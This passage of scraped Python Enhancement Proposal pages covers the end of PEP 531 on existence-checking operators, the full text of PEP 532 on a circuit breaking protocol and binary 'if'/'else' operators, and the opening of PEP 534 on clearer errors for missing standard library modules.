main current use of ? as a symbol in Python code is as a trailing suffix in IPython environments to request help information for the result of the preceding expression. However, the notion of existence checking really does benefit from a pervasive visual marker that distinguishes it from truth checking, and that calls for a single-character symbolic syntax if we’re going to do it at all. Conceptual complexity This proposal takes the currently ad hoc and informal concept of “existence checking” and elevates it to the status of being a syntactic language feature with a clearly defined operator protocol. In many ways, this should actually reduce the overall conceptual complexity of the language, as many more expectations will map correctly between truth checking with bool(expr) and existence checking with operator.exists(expr) than currently map between truth checking and existence checking with expr is not None (or expr is not NotImplemented in the context of operand coercion, or the various NaN-checking operations in mathematical libraries). As a simple example of the new parallels introduced by this PEP, compare: all_are_true = all(map(bool, iterable)) at_least_one_is_true = any(map(bool, iterable)) all_exist = all(map(operator.exists, iterable)) at_least_one_exists = any(map(operator.exists, iterable)) Design Discussion Subtleties in chaining existence checking expressions Similar subtleties arise in chaining existence checking expressions as already exist in chaining logical operators: the behaviour can be surprising if the right hand side of one of the expressions in the chain itself returns a value that doesn’t exist. As a result, value = arg1 ?then f(arg1) ?else default() would be dubious for essentially the same reason that value = cond and expr1 or expr2 is dubious: the former will evaluate default() if f(arg1) returns None, just as the latter will evaluate expr2 if expr1 evaluates to False in a boolean context. Ambiguous interaction with conditional expressions In the proposal as currently written, the following is a syntax error: value = f(arg) if arg ?else default While the following is a valid operation that checks a second condition if the first doesn’t exist rather than merely being false: value = expr1 if cond1 ?else cond2 else expr2 The expression chaining problem described above means that the argument can be made that the first operation should instead be equivalent to: value = f(arg) if operator.exists(arg) else default requiring the second to be written in the arguably clearer form: value = expr1 if (cond1 ?else cond2) else expr2 Alternatively, the first form could remain a syntax error, and the existence checking symbol could instead be attached to the if keyword: value = expr1 if? cond else expr2 Existence checking in other truth-checking contexts The truth-checking protocol is currently used in the following syntactic constructs: logical conjunction (and-expressions) logical disjunction (or-expressions) conditional expressions (if-else expressions) if statements while loops filter clauses in comprehensions and generator expressions In the current PEP, switching from truth-checking with and and or to existence-checking is a matter of substituting in the new keywords, ?then and ?else in the appropriate places. For other truth-checking contexts, it proposes either importing and using the operator.exists API, or else continuing with the current idiom of checking specifically for expr is not None (or the context appropriate equivalent). The simplest possible enhancement in that regard would be to elevate the proposed exists() API from an operator module function to a new builtin function. Alternatively, the ? existence checking symbol could be supported as a modifier on the if and while keywords to indicate the use of an existence check rather than a truth check. However, it isn’t at all clear that the potential consistency benefits gained for either suggestion would justify the additional disruption, so they’ve currently been omitted from the proposal. Defining expected invariant relations between __bool__ and __exists__ The PEP currently leaves the definition of __bool__ on all existing types unmodified, which ensures the entire proposal remains backwards compatible, but results in the following cases where bool(obj) returns True, but the proposed operator.exists(obj) would return False: NaN values for float, complex, and decimal.Decimal Ellipsis NotImplemented The main argument for potentially changing these is that it becomes easier to reason about potential code behaviour if we have a recommended invariant in place saying that values which indicate they don’t exist in an existence checking context should also report themselves as being False in a truth checking context. Failing to define such an invariant would lead to arguably odd outcomes like float("NaN") ?else 0.0 returning 0.0 while float("NaN") or 0.0 returns NaN. Limitations Arbitrary sentinel objects This proposal doesn’t attempt to provide syntactic support for the “sentinel object” idiom, where None is a permitted explicit value, so a separate sentinel object is defined to indicate missing values: _SENTINEL = object() def f(obj=_SENTINEL): return obj if obj is not _SENTINEL else default_value() This could potentially be supported at the expense of making the existence protocol definition significantly more complex, both to define and to use: at the Python layer, operator.exists and __exists__ implementations would return the empty tuple to indicate non-existence, and otherwise return a singleton tuple containing a reference to the object to be used as the result of the existence check at the C layer, tp_exists implementations would return NULL to indicate non-existence, and otherwise return a PyObject * pointer as the result of the existence check Given that change, the sentinel object idiom could be rewritten as: class Maybe: SENTINEL = object() def __init__(self, value): self._result = (value,) is value is not self.SENTINEL else () def __exists__(self): return self._result def f(obj=Maybe.SENTINEL): return Maybe(obj) ?else default_value() However, I don’t think cases where the 3 proposed standard sentinel values (i.e. None, Ellipsis and NotImplemented) can’t be used are going to be anywhere near common enough for the additional protocol complexity and the loss of symmetry between __bool__ and __exists__ to be worth it. Specification The Abstract already gives the gist of the proposal and the Rationale gives some specific examples. If there’s enough interest in the basic idea, then a full specification will need to provide a precise correspondence between the proposed syntactic sugar and the underlying conditional expressions that is sufficient to guide the creation of a reference implementation. …TBD… Implementation As with PEP 505, actual implementation has been deferred pending in-principle interest in the idea of adding these operators - the implementation isn’t the hard part of these proposals, the hard part is deciding whether or not this is a change where the long term benefits for new and existing Python users outweigh the short term costs involved in the wider ecosystem (including developers of other implementations, language curriculum developers, and authors of other Python related educational material) adjusting to the change. …TBD… References [1] Wikipedia: Safe navigation operator (https://en.wikipedia.org/wiki/Safe_navigation_operator) [2] Wikipedia: Null coalescing operator (https://en.wikipedia.org/wiki/Null_coalescing_operator) [3] FileFormat.info: Unicode Character ‘THERE EXISTS’ (U+2203) (http://www.fileformat.info/info/unicode/char/2203/index.htm) [4] python-ideas discussion thread (https://mail.python.org/pipermail/python-ideas/2016-October/043415.html) [5] Steven D’Aprano’s critique of the proposal (https://mail.python.org/pipermail/python-ideas/2016-October/043453.html) [6] Considering a link to the idea of overloadable Boolean operators (https://mail.python.org/pipermail/python-ideas/2016-October/043447.html) Copyright This document has been placed in the public domain under the terms of the CC0 1.0 license: https://creativecommons.org/publicdomain/zero/1.0/

Withdrawn

PEP 531 – Existence checking operators

Standards Track

Inspired by PEP 505 and the related discussions, this PEP proposes the addition of two new control flow operators to Python:

PEP 532 – A circuit breaking protocol and binary operators Author: Alyssa Coghlan <ncoghlan at gmail.com>, Mark E. Haase <mehaase at gmail.com> Status: Deferred Type: Standards Track Created: 30-Oct-2016 Python-Version: 3.8 Post-History: 05-Nov-2016 Table of Contents PEP Deferral Abstract Relationship with other PEPs PEP 531: Existence checking protocol PEP 505: None-aware operators PEP 335: Overloadable Boolean operators PEP 535: Rich comparison chaining Specification The circuit breaking protocol (if-else) Circuit breaking operators (binary if and binary else) Overloading logical inversion (not) Forcing short-circuiting behaviour Circuit breaking identity comparisons (is and is not) Truth checking comparisons None-aware operators Rich chained comparisons Other conditional constructs Style guide recommendations Rationale Adding new operators Naming the operator and protocol Using existing keywords Naming the protocol methods Making binary if right-associative Naming the standard circuit breakers Risks and concerns Design Discussion Protocol walk-through Respecting De Morgan’s Laws Arbitrary sentinel objects Implicitly defined circuit breakers in circuit breaking expressions Implementation Acknowledgements References Copyright PEP Deferral Further consideration of this PEP has been deferred until Python 3.8 at the earliest. Abstract Inspired by PEP 335, PEP 505, PEP 531, and the related discussions, this PEP proposes the definition of a new circuit breaking protocol (using the method names __then__ and __else__) that provides a common underlying semantic foundation for: conditional expressions: LHS if COND else RHS logical conjunction: LHS and RHS logical disjunction: LHS or RHS the None-aware operators proposed in PEP 505 the rich comparison chaining model proposed in PEP 535 Taking advantage of the new protocol, it further proposes that the definition of conditional expressions be revised to also permit the use of if and else respectively as right-associative and left-associative general purpose short-circuiting operators: Right-associative short-circuiting: LHS if RHS Left-associative short-circuiting: LHS else RHS In order to make logical inversion (not EXPR) consistent with the above changes, it also proposes the introduction of a new logical inversion protocol (using the method name __not__). To force short-circuiting of a circuit breaker without having to evaluate the expression creating it twice, a new operator.short_circuit(obj) helper function will be added to the operator module. Finally, a new standard types.CircuitBreaker type is proposed to decouple an object’s truth value (as used to determine control flow) from the value it returns from short-circuited circuit breaking expressions, with the following factory functions added to the operator module to represent particularly common switching idioms: switching on bool(obj): operator.true(obj) switching on not bool(obj): operator.false(obj) switching on obj is value: operator.is_sentinel(obj, value) switching on obj is not value: operator.is_not_sentinel(obj, value) Relationship with other PEPs This PEP builds on an extended history of work in other proposals. Some of the key proposals are discussed below. PEP 531: Existence checking protocol This PEP is a direct successor to PEP 531, replacing the existence checking protocol and the new ?then and ?else syntactic operators defined there with the new circuit breaking protocol and adjustments to conditional expressions and the not operator. PEP 505: None-aware operators This PEP complements the None-aware operator proposals in PEP 505, by offering an underlying protocol-driven semantic framework that explains their short-circuiting behaviour as highly optimised syntactic sugar for particular uses of conditional expressions. Given the changes proposed by this PEP: LHS ?? RHS would roughly be is_not_sentinel(LHS, None) else RHS EXPR?.attr would roughly be EXPR.attr if is_not_sentinel(EXPR, None) EXPR?[key] would roughly be EXPR[key] if is_not_sentinel(EXPR, None) In all three cases, the dedicated syntactic form would be optimised to avoid actually creating the circuit breaker instance and instead implement the underlying control flow directly. In the latter two cases, the syntactic form would also avoid evaluating EXPR twice. This means that while the None-aware operators would remain highly specialised and specific to None, other sentinel values would still be usable through the more general protocol-driven proposal in this PEP. PEP 335: Overloadable Boolean operators PEP 335 proposed the ability to overload the short-circuiting and and or operators directly, with the ability to overload the semantics of comparison chaining being one of the consequences of that change. The proposal in an earlier version of this PEP to instead handle the element-wise comparison use case by changing the semantic definition of comparison chaining is drawn directly from Guido’s rejection of PEP 335 [1]. However, initial feedback on this PEP indicated that the number of different proposals that it covered made it difficult to read, so that part of the proposal has been separated out as PEP 535. PEP 535: Rich comparison chaining As noted above, PEP 535 is a proposal to build on the circuit breaking protocol defined in this PEP in order to expand the rich comparison support introduced in PEP 207 to also handle comparison chaining operations like LEFT_BOUND < VALUE < RIGHT_BOUND. Specification The circuit breaking protocol (if-else) Conditional expressions (LHS if COND else RHS) are currently interpreted as an expression level equivalent to: if COND: _expr_result = LHS else: _expr_result = RHS This PEP proposes changing that expansion to allow the checked condition to implement a new “circuit breaking” protocol that allows it to see, and potentially alter, the result of either or both branches of the expression: _cb = COND _type_cb = type(cb) if _cb: _expr_result = LHS if hasattr(_type_cb, "__then__"): _expr_result = _type_cb.__then__(_cb, _expr_result) else: _expr_result = RHS if hasattr(_type_cb, "__else__"): _expr_result = _type_cb.__else__(_cb, _expr_result) As shown, interpreter implementations would be required to access only the protocol method needed for the branch of the conditional expression that is actually executed. Consistent with other protocol methods, the special methods would be looked up via the circuit breaker’s type, rather than directly on the instance. Circuit breaking operators (binary if and binary else) The proposed name of the protocol doesn’t come from the proposed changes to the semantics of conditional expressions. Rather, it comes from the proposed addition of if and else as general purpose protocol driven short-circuiting operators to complement the existing True and False based short-circuiting operators (or and and, respectively) as well as the None based short-circuiting operator proposed in PEP 505 (??). Together, these two operators would be known as the circuit breaking operators. In order to support this usage, the definition of conditional expressions in the language grammar would be updated to make both the if clause and the else clause optional: test: else_test ['if' or_test ['else' test]] | lambdef else_test: or_test ['else' test] Note that we would need to avoid the apparent simplification to else_test ('if' else_test)* in order to make it easier for compiler implementations to correctly preserve the semantics of normal conditional expressions. The definition of the test_nocond node in the grammar (which deliberately excludes conditional expressions) would remain unchanged, so the circuit breaking operators would require parentheses when used in the if clause of comprehensions and generator expressions just as conditional expressions themselves do. This grammar definition means precedence/associativity in the otherwise ambiguous case of expr1 if cond else expr2 else expr3 resolves as (expr1 if cond else expr2) else epxr3. However, a guideline will also be added to PEP 8 to say “don’t do that”, as such a construct will be inherently confusing for readers, regardless of how the interpreter executes it. The right-associative circuit breaking operator (LHS if RHS) would then be expanded as follows: _cb = RHS _expr_result = LHS if _cb else _cb While the left-associative circuit breaking operator (LHS else RHS) would be expanded as: _cb = LHS _expr_result = _cb if _cb else RHS The key point to note in both cases is that when the circuit breaking expression short-circuits, the condition expression is used as the result of the expression unless the condition is a circuit breaker. In the latter case, the appropriate circuit breaker protocol method is called as usual, but the circuit breaker itself is supplied as the method argument. This allows circuit breakers to reliably detect short-circuiting by checking for cases when the argument passed in as the candidate expression result is self. Overloading logical inversion (not) Any circuit breaker definition will have a logical inverse that is still a circuit breaker, but inverts the answer as to when to short circuit the expression evaluation. For example, the operator.true and operator.false circuit breakers proposed in this PEP are each other’s logical inverse. A new protocol method, __not__(self), will be introduced to permit circuit breakers and other types to override not expressions to return their logical inverse rather than a coerced boolean result. To preserve the semantics of existing language optimisations (such as eliminating double negations directly in a boolean context as redundant), __not__ implementations will be required to respect the following invariant: assert not bool(obj) == bool(not obj) However, symmetric circuit breakers (those that implement all of __bool__, __not__, __then__ and __else__) would only be expected to respect the full semantics of boolean logic when all circuit breakers involved in the expression are using a consistent definition of “truth”. This is covered further in Respecting De Morgan’s Laws. Forcing short-circuiting behaviour Invocation of a circuit breaker’s short-circuiting behaviour can be forced by using it as all three operands in a conditional expression: obj if obj else obj Or, equivalently, as both operands in a circuit breaking expression: obj if obj obj else obj Rather than requiring the using of any of these patterns, this PEP proposes to add a dedicated function to the operator to explicitly short-circuit a circuit breaker, while passing other objects through unmodified: def short_circuit(obj) """Replace circuit breakers with their short-circuited result Passes other input values through unmodified. """ return obj if obj else obj Circuit breaking identity comparisons (is and is not) In the absence of any standard circuit breakers, the proposed if and else operators would largely just be unusual spellings of the existing and and or logical operators. However, this PEP further proposes to provide a new general purpose types.CircuitBreaker type that implements the appropriate short circuiting logic, as well as factory functions in the operator module that correspond to the is and is not operators. These would be defined in such a way that the following expressions produce VALUE rather than False when the conditional check fails: EXPR if is_sentinel(VALUE, SENTINEL) EXPR if is_not_sentinel(VALUE, SENTINEL) And similarly, these would produce VALUE rather than True when the conditional check succeeds: is_sentinel(VALUE, SENTINEL) else EXPR is_not_sentinel(VALUE, SENTINEL) else EXPR In effect, these comparisons would be defined such that the leading VALUE if and trailing else VALUE clauses can be omitted as implied in expressions of the following forms: # To handle "if" expressions, " else VALUE" is implied when omitted EXPR if is_sentinel(VALUE, SENTINEL) else VALUE EXPR if is_not_sentinel(VALUE, SENTINEL) else VALUE # To handle "else" expressions, "VALUE if " is implied when omitted VALUE if is_sentinel(VALUE, SENTINEL) else EXPR VALUE if is_not_sentinel(VALUE, SENTINEL) else EXPR The proposed types.CircuitBreaker type would represent this behaviour programmatically as follows: class CircuitBreaker: """Simple circuit breaker type""" def __init__(self, value, bool_value): self.value = value self.bool_value = bool(bool_value) def __bool__(self): return self.bool_value def __not__(self): return CircuitBreaker(self.value, not self.bool_value) def __then__(self, result): if result is self: return self.value return result def __else__(self, result): if result is self: return self.value return result The key characteristic of these circuit breakers is that they are ephemeral: when they are told that short circuiting has taken place (by receiving a reference to themselves as the candidate expression result), they return the original value, rather than the circuit breaking wrapper. The short-circuiting detection is defined such that the wrapper will always be removed if you explicitly pass the same circuit breaker instance to both sides of a circuit breaking operator or use one as all three operands in a conditional expression: breaker = types.CircuitBreaker(foo, foo is None) assert operator.short_circuit(breaker) is foo assert (breaker if breaker) is foo assert (breaker else breaker) is foo assert (breaker if breaker else breaker) is foo breaker = types.CircuitBreaker(foo, foo is not None) assert operator.short_circuit(breaker) is foo assert (breaker if breaker) is foo assert (breaker else breaker) is foo assert (breaker if breaker else breaker) is foo The factory functions in the operator module would then make it straightforward to create circuit breakers that correspond to identity checks using the is and is not operators: def is_sentinel(value, sentinel): """Returns a circuit breaker switching on 'value is sentinel'""" return types.CircuitBreaker(value, value is sentinel) def is_not_sentinel(value, sentinel): """Returns a circuit breaker switching on 'value is not sentinel'""" return types.CircuitBreaker(value, value is not sentinel) Truth checking comparisons Due to their short-circuiting nature, the runtime logic underlying the and and or operators has never previously been accessible through the operator or types modules. The introduction of circuit breaking operators and circuit breakers allows that logic to be captured in the operator module as follows: def true(value): """Returns a circuit breaker switching on 'bool(value)'""" return types.CircuitBreaker(value, bool(value)) def false(value): """Returns a circuit breaker switching on 'not bool(value)'""" return types.CircuitBreaker(value, not bool(value)) LHS or RHS would be effectively true(LHS) else RHS LHS and RHS would be effectively false(LHS) else RHS No actual change would take place in these operator definitions, the new circuit breaking protocol and operators would just provide a way to make the control flow logic programmable, rather than hardcoding the sense of the check at development time. Respecting the rules of boolean logic, these expressions could also be expanded in their inverted form by using the right-associative circuit breaking operator instead: LHS or RHS would be effectively RHS if false(LHS) LHS and RHS would be effectively RHS if true(LHS) None-aware operators If both this PEP and PEP 505’s None-aware operators were accepted, then the proposed is_sentinel and is_not_sentinel circuit breaker factories would be used to encapsulate the notion of “None checking”: seeing if a value is None and either falling back to an alternative value (an operation known as “None-coalescing”) or passing it through as the result of the overall expression (an operation known as “None-severing” or “None-propagating”). Given these circuit breakers, LHS ?? RHS would be roughly equivalent to both of the following: is_not_sentinel(LHS, None) else RHS RHS if is_sentinel(LHS, None) Due to the way they inject control flow into attribute lookup and subscripting operations, None-aware attribute access and None-aware subscripting can’t be expressed directly in terms of the circuit breaking operators, but they can still be defined in terms of the underlying circuit breaking protocol. In those terms, EXPR?.ATTR[KEY].SUBATTR() would be semantically equivalent to: _lookup_base = EXPR _circuit_breaker = is_not_sentinel(_lookup_base, None) _expr_result = _lookup_base.ATTR[KEY].SUBATTR() if _circuit_breaker Similarly, EXPR?[KEY].ATTR.SUBATTR() would be semantically equivalent to: _lookup_base = EXPR _circuit_breaker = is_not_sentinel(_lookup_base, None) _expr_result = _lookup_base[KEY].ATTR.SUBATTR() if _circuit_breaker The actual implementations of the None-aware operators would presumably be optimised to skip actually creating the circuit breaker instance, but the above expansions would still provide an accurate description of the observable behaviour of the operators at runtime. Rich chained comparisons Refer to PEP 535 for a detailed discussion of this possible use case. Other conditional constructs No changes are proposed to if statements, while statements, comprehensions, or generator expressions, as the boolean clauses they contain are used entirely for control flow purposes and never return a result as such. However, it’s worth noting that while such proposals are outside the scope of this PEP, the circuit breaking protocol defined here would already be sufficient to support constructs like: def is_not_none(obj): return is_sentinel(obj, None) while is_not_none(dynamic_query()) as result: ... # Code using result and: if is_not_none(re.search(pattern, text)) as match: ... # Code using match This could be done by assigning the result of operator.short_circuit(CONDITION) to the name given in the as clause, rather than assigning CONDITION to the given name directly. Style guide recommendations The following additions to PEP 8 are proposed in relation to the new features introduced by this PEP: Avoid combining conditional expressions (if-else) and the standalone circuit breaking operators (if and else) in a single expression - use one or the other depending on the situation, but not both. Avoid using conditional expressions (if-else) and the standalone circuit breaking operators (if and else) as part of if conditions in if statements and the filter clauses of comprehensions and generator expressions. Rationale Adding new operators Similar to PEP 335, early drafts of this PEP focused on making the existing and and or operators less rigid in their interpretation, rather than proposing new operators. However, this proved to be problematic for a few key reasons: the and and or operators have a long established and stable meaning, so readers would inevitably be surprised if their meaning now became dependent on the type of the left operand. Even new users would be confused by this change due to 25+ years of teaching material that assumes the current well-known semantics for these operators Python interpreter implementations, including CPython, have taken advantage of the existing semantics of and and or when defining runtime and compile time optimisations, which would all need to be reviewed and potentially discarded if the semantics of those operations changed it isn’t clear what names would be appropriate for the new methods needed to define the protocol Proposing short-circuiting binary variants of the existing if-else ternary operator instead resolves all of those issues: the runtime semantics of and and or remain entirely unchanged while the semantics of the unary not operator do change, the invariant required of __not__ implementations means that existing expression optimisations in boolean contexts will remain valid. __else__ is the short-circuiting outcome for if expressions due to the absence of a trailing else clause __then__ is the short-circuiting outcome for else expressions due to the absence of a leading if clause (this connection would be even clearer if the method name was __if__, but that would be ambiguous given the other uses of the if keyword that won’t invoke the circuit breaking protocol) Naming the operator and protocol The names “circuit breaking operator”, “circuit breaking protocol” and “circuit breaker” are all inspired by the phrase “short circuiting operator”: the general language design term for operators that only conditionally evaluate their right operand. The electrical analogy is that circuit breakers in Python detect and handle short circuits in expressions before they trigger any exceptions similar to the way that circuit breakers detect and handle short circuits in electrical systems before they damage any equipment or harm any humans. The Python level analogy is that just as a break statement lets you terminate a loop before it reaches its natural conclusion, a circuit breaking expression lets you terminate evaluation of the expression and produce a result immediately. Using existing keywords Using existing keywords has the benefit of allowing the new operators to be introduced without a __future__ statement. if and else are semantically appropriate for the proposed new protocol, and the only additional syntactic ambiguity introduced arises when the new operators are combined with the explicit if-else conditional expression syntax. The PEP handles that ambiguity by explicitly specifying how it should be handled by interpreter implementers, but proposing to point out in PEP 8 that even though interpreters will understand it, human readers probably won’t, and hence it won’t be a good idea to use both conditional expressions and the circuit breaking operators in a single expression. Naming the protocol methods Naming the __else__ method was straightforward, as reusing the operator keyword name results in a special method name that is both obvious and unambiguous. Naming the __then__ method was less straightforward, as there was another possible option in using the keyword-based name __if__. The problem with __if__ is that there would continue to be many cases where the if keyword appeared, with an expression to its immediate right, but the __if__ special method would not be invoked. Instead, the bool() builtin and its underlying special methods (__bool__, __len__) would be invoked, while __if__ had no effect. With the boolean protocol already playing a part in conditional expressions and the new circuit breaking protocol, the less ambiguous name __then__ was chosen based on the terminology commonly used in computer science and programming language design to describe the first clause of an if statement. Making binary if right-associative The precedent set by conditional expressions means that a binary short-circuiting if expression must necessarily have the condition on the right as a matter of consistency. With the right operand always being evaluated first, and the left operand not being evaluated at all if the right operand is true in a boolean context, the natural outcome is a right-associative operator. Naming the standard circuit breakers When used solely with the left-associative circuit breaking operator, explicit circuit breaker names for unary checks read well if they start with the preposition if_: operator.if_true(LHS) else RHS operator.if_false(LHS) else RHS However, incorporating the if_ doesn’t read as well when performing logical inversion: not operator.if_true(LHS) else RHS not operator.if_false(LHS) else RHS Or when using the right-associative circuit breaking operator: LHS if operator.if_true(RHS) LHS if operator.if_false(RHS) Or when naming a binary comparison operation: operator.if_is_sentinel(VALUE, SENTINEL) else EXPR operator.if_is_not_sentinel(VALUE, SENTINEL) else EXPR By contrast, omitting the preposition from the circuit breaker name gives a result that reads reasonably well in all forms for unary checks: operator.true(LHS) else RHS # Preceding "LHS if " implied operator.false(LHS) else RHS # Preceding "LHS if " implied not operator.true(LHS) else RHS # Preceding "LHS if " implied not operator.false(LHS) else RHS # Preceding "LHS if " implied LHS if operator.true(RHS) # Trailing " else RHS" implied LHS if operator.false(RHS) # Trailing " else RHS" implied LHS if not operator.true(RHS) # Trailing " else RHS" implied LHS if not operator.false(RHS) # Trailing " else RHS" implied And also reads well for binary checks: operator.is_sentinel(VALUE, SENTINEL) else EXPR operator.is_not_sentinel(VALUE, SENTINEL) else EXPR EXPR if operator.is_sentinel(VALUE, SENTINEL) EXPR if operator.is_not_sentinel(VALUE, SENTINEL) Risks and concerns This PEP has been designed specifically to address the risks and concerns raised when discussing PEPs 335, 505 and 531. it defines new operators and adjusts the definition of chained comparison (in a separate PEP) rather than impacting the existing and and or operators the proposed new operators are general purpose short-circuiting binary operators that can even be used to express the existing semantics of and and or rather than focusing solely and inflexibly on identity checking against None the changes to the not unary operator and the is and is not binary comparison operators are defined in such a way that control flow optimisations based on the existing semantics remain valid One consequence of this approach is that this PEP on its own doesn’t produce much in the way of direct benefits to end users aside from making it possible to omit some common None if prefixes and else None suffixes from particular forms of conditional expression. Instead, what it mainly provides is a common foundation that would allow the None-aware operator proposals in PEP 505 and the rich comparison chaining proposal in PEP 535 to be pursued atop a common underlying semantic framework that would also be shared with conditional expressions and the existing and and or operators. Design Discussion Protocol walk-through The following diagram illustrates the core concepts behind the circuit breaking protocol (although it glosses over the technical detail of looking up the special methods via the type rather than the instance): We will work through the following expression: >>> def is_not_none(obj): ... return operator.is_not_sentinel(obj, None) >>> x if is_not_none(data.get("key")) else y is_not_none is a helper function that invokes the proposed operator.is_not_sentinel types.CircuitBreaker factory with None as the sentinel value. data is a container (such as a builtin dict instance) that returns None when the get() method is called with an unknown key. We can rewrite the example to give a name to the circuit breaker instance: >>> maybe_value = is_not_none(data.get("key")) >>> x if maybe_value else y Here the maybe_value circuit breaker instance corresponds to breaker in the diagram. The ternary condition is evaluated by calling bool(maybe_value), which is the same as Python’s existing behavior. The change in behavior is that instead of directly returning one of the operands x or y, the circuit breaking protocol passes the relevant operand to the circuit breaker used in the condition. If bool(maybe_value) evaluates to True (i.e. the requested key exists and its value is not None) then the interpreter calls type(maybe_value).__then__(maybe_value, x). Otherwise, it calls type(maybe_value).__else__(maybe_value, y). The protocol also applies to the new if and else binary operators, but in these cases, the interpreter needs a way to indicate the missing third operand. It does this by re-using the circuit breaker itself in that role. Consider these two expressions: >>> x if data.get("key") is None >>> x if operator.is_sentinel(data.get("key"), None) The first form of this expression returns x if data.get("key") is None, but otherwise returns False, which almost certainly isn’t what we want. By contrast, the second form of this expression still returns x if data.get("key") is None, but otherwise returns data.get("key"), which is significantly more useful behaviour. We can understand this behavior by rewriting it as a ternary expression with an explicitly named circuit breaker instance: >>> maybe_value = operator.is_sentinel(data.get("key"), None) >>> x if maybe_value else maybe_value If bool(maybe_value) is True (i.e. data.get("key") is None), then the interpreter calls type(maybe_value).__then__(maybe_value, x). The implementation of types.CircuitBreaker.__then__ doesn’t see anything that indicates short-circuiting has taken place, and hence returns x. By contrast, if bool(maybe_value) is False (i.e. data.get("key") is not None), the interpreter calls type(maybe_value).__else__(maybe_value, maybe_value). The implementation of types.CircuitBreaker.__else__ detects that the instance method has received itself as its argument and returns the wrapped value (i.e. data.get("key")) rather than the circuit breaker. The same logic applies to else, only reversed: >>> is_not_none(data.get("key")) else y This expression returns data.get("key") if it is not None, otherwise it evaluates and returns y. To understand the mechanics, we rewrite the expression as follows: >>> maybe_value = is_not_none(data.get("key")) >>> maybe_value if maybe_value else y If bool(maybe_value) is True, then the expression short-circuits and the interpreter calls type(maybe_value).__else__(maybe_value, maybe_value). The implementation of types.CircuitBreaker.__then__ detects that the instance method has received itself as its argument and returns the wrapped value (i.e. data.get("key")) rather than the circuit breaker. If bool(maybe_value) is True, the interpreter calls type(maybe_value).__else__(maybe_value, y). The implementation of types.CircuitBreaker.__else__ doesn’t see anything that indicates short-circuiting has taken place, and hence returns y. Respecting De Morgan’s Laws Similar to and and or, the binary short-circuiting operators will permit multiple ways of writing essentially the same expression. This seeming redundancy is unfortunately an implied consequence of defining the protocol as a full boolean algebra, as boolean algebras respect a pair of properties known as “De Morgan’s Laws”: the ability to express the results of and and or operations in terms of each other and a suitable combination of not operations. For and and or in Python, these invariants can be described as follows: assert bool(A and B) == bool(not (not A or not B)) assert bool(A or B) == bool(not (not A and not B)) That is, if you take one of the operators, invert both operands, switch to the other operator, and then invert the overall result, you’ll get the same answer (in a boolean sense) as you did from the original operator. (This may seem redundant, but in many situations it actually lets you eliminate double negatives and find tautologically true or false subexpressions, thus reducing the overall expression size). For circuit breakers, defining a suitable invariant is complicated by the fact that they’re often going to be designed to eliminate themselves from the expression result when they’re short-circuited, which is an inherently asymmetric behaviour. Accordingly, that inherent asymmetry needs to be accounted for when mapping De Morgan’s Laws to the expected behaviour of symmetric circuit breakers. One way this complication can be addressed is to wrap the operand that would otherwise short-circuit in operator.true, ensuring that when bool is applied to the overall result, it uses the same definition of truth that was used to decide which branch to evaluate, rather than applying bool directly to the circuit breaker’s input value. Specifically, for the new short-circuiting operators, the following properties would be reasonably expected to hold for any well-behaved symmetric circuit breaker that implements both __bool__ and __not__: assert bool(B if true(A)) == bool(not (true(not A) else not B)) assert bool(true(A) else B) == bool(not (not B if true(not A))) Note the order of operations on the right hand side (applying true after inverting the input circuit breaker) - this ensures that an assertion is actually being made about type(A).__not__, rather than merely being about the behaviour of type(true(A)).__not__. At the very least, types.CircuitBreaker instances would respect this logic, allowing existing boolean expression optimisations (like double negative elimination) to continue to be applied. Arbitrary sentinel objects Unlike PEPs 505 and 531, the proposal in this PEP readily handles custom sentinel objects: _MISSING = object() # Using the sentinel to check whether or not an argument was supplied def my_func(arg=_MISSING): arg = make_default() if is_sentinel(arg, _MISSING) # "else arg" implied Implicitly defined circuit breakers in circuit breaking expressions A never-posted draft of this PEP explored the idea of special casing the is and is not binary operators such that they were automatically treated as circuit breakers when used in the context of a circuit breaking expression. Unfortunately, it turned out that this approach necessarily resulted in one of two highly undesirable outcomes: the return type of these expressions changed universally from bool to types.CircuitBreaker, potentially creating a backwards compatibility problem (especially when working with extension module APIs that specifically look for a builtin boolean value with PyBool_Check rather than passing the supplied value through PyObject_IsTrue or using the p (predicate) format in one of the argument parsing functions) the return type of these expressions became context dependent, meaning that other routine refactorings (like pulling a comparison operation out into a local variable) could have a significant impact on the runtime semantics of a piece of code Neither of those possible outcomes seems warranted by the proposal in this PEP, so it reverted to the current design where circuit breaker instances must be created explicitly via API calls, and are never produced implicitly. Implementation As with PEP 505, actual implementation has been deferred pending in-principle interest in the idea of making these changes. …TBD… Acknowledgements Thanks go to Steven D’Aprano for his detailed critique [2] of the initial draft of this PEP that inspired many of the changes in the second draft, as well as to all of the other participants in that discussion thread [3]. References [1] PEP 335 rejection notification (https://mail.python.org/pipermail/python-dev/2012-March/117510.html) [2] Steven D’Aprano’s critique of the initial draft (https://mail.python.org/pipermail/python-ideas/2016-November/043615.html) [3] python-ideas thread discussing initial draft (https://mail.python.org/pipermail/python-ideas/2016-November/043563.html) Copyright This document has been placed in the public domain under the terms of the CC0 1.0 license: https://creativecommons.org/publicdomain/zero/1.0/

Deferred

PEP 532 – A circuit breaking protocol and binary operators

Standards Track

Inspired by PEP 335, PEP 505, PEP 531, and the related discussions, this PEP proposes the definition of a new circuit breaking protocol (using the method names __then__ and __else__) that provides a common underlying semantic foundation for:

PEP 534 – Improved Errors for Missing Standard Library Modules Author: Tomáš Orsava <tomas.n at orsava.cz>, Petr Viktorin <encukou at gmail.com>, Alyssa Coghlan <ncoghlan at gmail.com> Status: Deferred Type: Standards Track Created: 05-Sep-2016 Post-History: Table of Contents Abstract PEP Deferral Motivation CPython Linux and other distributions Specification APIs to list expected standard library modules Changes to the default sys.excepthook implementation Design Discussion Modifying sys.excepthook Public API to query expected standard library module names Only including top level module names Listing private top level module names as optional standard library modules Deeming packaging related modules to be mandatory Deferred Ideas Platform dependent modules Emitting a warning when __main__ shadows a standard library module Recommendation for Downstream Distributors Backwards Compatibility Reference and Example Implementation Notes and References Copyright Abstract Python is often being built or distributed without its full standard library. However, there is as of yet no standard, user friendly way of properly informing the user about the failure to import such missing standard library modules. This PEP proposes a mechanism for identifying expected standard library modules and providing more informative error messages to users when attempts to import standard library modules fail. PEP Deferral The PEP authors aren’t actively working on this PEP, so if improving these error messages is an idea that you’re interested in pursuing, please get in touch! (e.g. by posting to the python-dev mailing list). The key piece of open work is determining how to get the autoconf and Visual Studio build processes to populate the sysconfig metadata file with the lists of expected and optional standard library modules. Motivation There are several use cases for including only a subset of Python’s standard library. However, there is so far no user-friendly mechanism for informing the user why a stdlib module is missing and how to 